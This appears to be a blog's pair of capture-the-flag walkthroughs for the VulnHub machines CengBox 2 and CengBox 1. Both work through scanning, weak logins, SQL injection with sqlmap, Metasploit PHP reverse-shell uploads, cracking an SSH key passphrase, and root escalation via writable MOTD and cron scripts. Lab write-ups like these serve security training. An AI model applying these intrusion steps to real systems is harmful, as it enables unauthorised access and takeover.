CTF's Walkthroughs

CengBox 2 – CTF Walkthrough

This is my walkthrough of CengBox 2. If you’re looking for my walkthrough of CengBox 1, you can find it here. You can download CengBox 2 from VulnHub. Thanks to ‘noodlearms’ for hint-swapping.

Scan – NMAP

As always, I start off with a port scan to see if there are any open ports. I do this using NMAP.

nmap -p-

This revealed three open ports. FTP, SSH, and a web server. I decided to take a look at the website first.

Reviewing the website

The website was just a standard maintenance page.

Time to scan it with DIRB to check for common directories.

Scan – DIRB


This revealed nothing. That’s annoying. Time to use a bigger wordlist.

dirb /usr/share/dirb/wordlists/big.txt

Again, this revealed nothing of use unfortunately. I decided to append some common file extensions to be checked.

dirb /usr/share/dirb/wordlists/big.txt -X .php,.html,.phtml,.txt,.bak

This again revealed nothing unfortunately. I was fairly confident at this point the website wasn’t going to give me any more revealing information. I decided to check FTP.

ftp -nv

Once connected:

user anonymous

I logged in as the anonymous user (using the commands above). I left the password as blank, and was able to authenticate. When I listed the files, I was able to see a file called note.txt.

This looks helpful! Using the get command, I was able to download the file to a local directory.

I navigated to the folder where the file was downloaded, and saw this message:

The note suggested the website may have moved to ceng-company.vm, so I modified my hosts file (/etc/hosts) and visited http://ceng-company.vm in my browser:

When I visited the website, it looked exactly the same. There were no differences. I re-ran DIRB scans with various wordlists, including one for admin panels. I tried varying extensions, including .ceng which was a file extension used in CengBox 1. Every scan I performed literally returned nothing new. I was hitting a brick wall every time. Time for a break, I think.

Several Hours Later

I revisited the note to try and get some ideas, and after many (many) hours of trying various things, and nearly giving up, I found what I was looking for.


After adding various admin panel names as a DNS record in /etc/hosts, I found what looked like an admin area:

Here we go – a 403 error page. This looks like it could be a different website on the server. I think I might write a script that can automate testing HTTP hosts in future as this is definitely new to me and it may come in handy. At this point, I thought it would be worth repeating DIRB scans.

dirb http://admin.ceng-company.vm

This returned no results. This feels a bit too familiar! I specified the bigger wordlist, and tried again.

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt

Again, no results. This CTF is certainly challenging. Let’s try adding common extensions to the scan:

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt

Ugh… I’m nearly out of ideas at this point. The note suggested an admin panel or something similar had been setup – I spent hours searching the web for wordlists for different admin panels etc, but none of the wordlists I used returned any results.

I’m aware there are other directory searching tools (Dirbuster etc) but I’ve never really reviewed their wordlists. I decided to look in the Dirbuster wordlists folder on Kali and started to work my way through them instead. After a few more hours of searching, I finally found a result with the following wordlist (this wordlist has 220560 words in, so seems to be a useful one to use when finding a needle in a haystack):

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

This revealed a directory called /gila – from previous experience, I know this to be a CMS application.

We know from the note that the password is likely going to be easy, so I head to the /admin directory and log straight in:

Username: kevin@ceng-company.vm
Password: admin

Once in the admin directory, I looked around to see what I could find. Rather quickly, I found a file manager under “Content ยป File Manager”. I loaded a metasploit session, created a PHP payload, and went to upload my shell.

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp

This gave me a PHP command – I copied the eval part, put it into a file (shell.php) and saved it locally. I tried uploading the shell file into the main directory of gila, and whilst it told me it was successful, it didn’t seem to work.

Instead, I clicked into the tmp folder, and was able to successfully upload the PHP shell there. I had to delete the .htaccess file though to make sure I could visit that directory (http://admin.ceng-company.vm/gila/tmp/shell.php).

Once the metasploit meterpreter session opened, I entered the session with the following command:

sessions -i 1

To get a proper shell, I used Python.

whereis python
(this revealed the true location of the Python binary which I then used in the next command)
python3.5 -c 'import pty; pty.spawn("/bin/bash")'

I finally have a shell

Once I had a shell, I ran the sudo command to see what binaries I could run using sudo.

sudo -l

This didn’t show anything I could run as root, but it did show I could run a script (/home/swartz/ as the swartz user. This looks like it may help us run PHP so I proceeded to try it out.

sudo -u swartz /home/swartz/

Low and behold, I was right. It looks like I can run PHP commands from here (and given the script is running as the swartz user, we can potentially get access as this user). I loaded up another metasploit session, generated my PHP payload, and attempted to run the “eval” portion of the command in the script.

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LPORT 4445 (this is necessary as the other session is running on the default port)
set SRVPORT 8081 (this is necessary as the other session is running on the default port)

Once this loaded the shell, I now had access as the swartz user.

I again ran the sudo command to see if there was anything I could run as root / another user. Unfortunately, this just prompted me for a password so this didn’t look hopeful.

I had a look around to see what directories I could access. Within the /home directory was a home folder for another user (mitnick). I was able to access his home directory and list his files. I noticed user.txt which is probably the first flag.

Unfortunately, I couldn’t read the user flag, but it at least suggested I need to become the mitnick user to progress further. What I did notice was that there was a .ssh directory, and I was able to read the id_rsa file (SSH Key).

I attempted to connect via SSH as this user to see if I could progress further.

ssh -i id_rsa mitnick@localhost

This worked, but I needed a passphrase to continue. I haven’t seen any passphrases so far so I used John the Ripper to try and crack the SSH Key passphrase. I saved the key into a file locally on my Kali machine, and ran the following series of commands:

/usr/share/john/ mitnick > mitnick.hash
sudo john mitnick.hash -wordlist=/usr/share/wordlists/rockyou.txt

This didn’t take too long – as we can see, the passphrase was revealed as ‘legend’.

I tried connecting via SSH again, entered the passphrase, and was now able to access the machine as the mitnick user. This got me the first flag.

I continued to look around the system, and identified /etc/update-motd.d was writable. I’ve previously seen this attack vector on similar CTF’s. MOTD (Message of the Day) are messages/scripts run when you login to SSH. I loaded yet another meterpreter session (see steps above on how to do this, you’ll need to change the ports again to something new or it wont work). This time, I set the target in meterpreter as Linux which instead gives us a wget command. I set the payload to ‘linux/x86/shell_reverse_tcp’, and started the listener. Once started, I copied the command it gave me, put it into /home/mitnick/, and applied the correct file permissions to ensure the file could be executed:

chmod +x /home/mitnick/

Once done, I modified /etc/update-motd.d/00-header by adding a line to the bottom:

echo "sh /home/mitnick/" >> /etc/update-motd.d/00-header

Now that this line is in the MOTD file, we can logout of SSH, relogin, and that command should be executed. So I done just that, and finally had a root shell.

CTF's Walkthroughs

CengBox – CTF Walkthrough

This post provides the steps on how to compromise the CTF CengBox.

Initial Analysis

Scan – NMAP

As always, I start off by doing an NMAP scan of the IP address to see what ports are open.

nmap -p-

This revealed two open ports. SSH and HTTP.

Checking out the website

I decided to have a look at the website initially.

The website didn’t really have anything immediately obvious that I could exploit. There were no login pages, and there were no forms I could submit. At this point, I decided to run the DIRB tool to identify common directories.

Scan – DIRB


Surprisingly, this didn’t reveal anything of use. Any directories returned were either normal/non-suspicious, or were providing a 403 HTTP error.

DIRB has functionality which allows you to change the wordlist. Upon visiting /usr/share/dirb/wordlists, it revealed a number of other wordlists which may be of use, primarily big.txt.

Scan – DIRB (Extended word list)

I re-ran the DIRB command, but specified the big.txt file as the wordlist parameter.

dirb /usr/share/dirb/wordlists/big.txt

Result. This showed something that definitely looked a lot more interesting.

Unfortunately, the directory, and all sub directories DIRB found were returning 403 errors. But, we are definitely onto something here. There must be something we are missing.

As I found out, DIRB also has a feature where you can specify file extensions to be appended to the end of the search terms. Given this is an Ubuntu server (as identified from the error code screenshot above), this is most likely running PHP. I re-ran the DIRB command, but specified the PHP file extension, and restricted the search to the masteradmin directory.

Scan – DIRB (Specifying file extension)

dirb /usr/share/wordlists/big.txt -X .php

This revealed a few more files of interest.

I initially tried ‘upload.php’ but it redirected me to login.php straight away. db.php was also returning no output.

Testing for SQL Injection vulnerabilities

I suspected an SQL injection vulnerability at this point. A useful way to test for SQL Injection vulnerabilities is to use a tool called Burpsuite, and sqlmap.

Burpsuite is a very useful tool that acts as a proxy server. Once you have loaded a Burpsuite session, you change the proxy settings of your browser to point to Burpsuite, and you’re then able to intercept your own traffic before it reaches the destination.

I loaded up Burpsuite, went to the proxy tab, and made sure that ‘Intercept’ was set to on.

Having then configured my web browser to point to Burpsuite, I attempted to login on the website with a random username/password.

As you can see, the request came up in Burpsuite straight away. With Burpsuite, you can export the request information into a text file by right clicking the request, and clicking copy to file.

Once the request information was in a text file, I used the sqlmap tool to check for SQL injection vulnerabilities.

sqlmap -r cengbox.txt

This revealed an SQL injection vulnerability with the username field!

Now that an SQL vulnerability was confirmed, I changed the command slightly to dump the contents of the database into a local directory.

sqlmap --dump -r cengbox.txt

This took a long time to run! It looked like this is exploiting some sort of time-based comparison.

Eventually, once it finished, it showed me a table on the database containing the admin username/password.

To my surprise, the password wasn’t hashed, and I was able to log straight in.

Once logged in, it looks like I have the ability to upload files.

I spent a while trying to upload various files and couldn’t work out why they weren’t uploading (or where they were uploading). Turns out my laptop screen is simply terrible and I couldn’t see the error message at the top of the page, advising the file extension wasn’t accepted. Note to self: buy a new laptop.

After uploading a file with the .ceng extension, it worked fine, and I managed to find my file in the uploads directory.

Uploading a shell

It looks like .ceng files execute PHP. Having confirmed this with my phpinfo file, I then tried to upload an exploit.

Metasploit is my favourite tool here to do this.

sudo msfconsole
use exploit/multi/script/web_delivery
set target 1
show payloads
set payload php/meterpreter/reverse_tcp

Once run, it gives you a PHP command to run.

I extracted the eval() command and put it in a PHP file, and uploaded via the masteradmin interface. I visited the file in my browser, and then entered my meterpreter session.

sessions -i

This shows you the valid sessions. Once I saw the session number was 1, I ran this:

sessions -i 1

A few commands later, and I have my first foot in the door, and have my shell.

Root privilege escalation

The next step is to try and escalate privileges to a more privileged user (root).

One of the first things I usually do when I have a shell is check for binaries which have the SUID bit set. Binaries which have the SUID bit set execute the program as the user who owns the file, opposed to the user who is running it. This is a very common attack vector.

Checking for SUID Binaries

find / -perm -u=s -type f 2>/dev/null

A useful resource I often refer to is GTFOBins. This lists which binaries can be exploited if you can run them as sudo, or they have the SUID bit set. Unfortunately, it wasn’t of use on this occassion, but I thought I’d mention it anyway as it is a very useful resource if you haven’t heard of it before. It may help you in future.

The only binary that catches my eye here is /usr/bin/at. A quick google later, and it showed it can schedule commands to be run at a later time. I tried running this command:

How annoying! I can’t use it. It may come in handy though, so worth baring in mind.

I went to the /home directory, and found a user called cengbox. I tried the same password used to login to the admin panel to get to this user on shell (and it worked).

First flag

What now?

There is a useful tool called pspy. It can show scheduled cron jobs, even ones from other users. I used wget to get pspy onto the machine and then I executed it.

That’s an interesting script (/opt/ Let us check it out.

Looking at the file permissions, it looks like we can write to it! It looks like the root user may be running this file on a cronjob so we should be able to exploit this.

I fired up metasploit again and a meterpreter session. This time though I set the payload as python, instead of PHP.

Within a minute or two, the cron job executed, and I had a root shell.

I really enjoyed this CTF. Thanks to CyberBot for a hint or two along the way! The CengBox CTF is available here.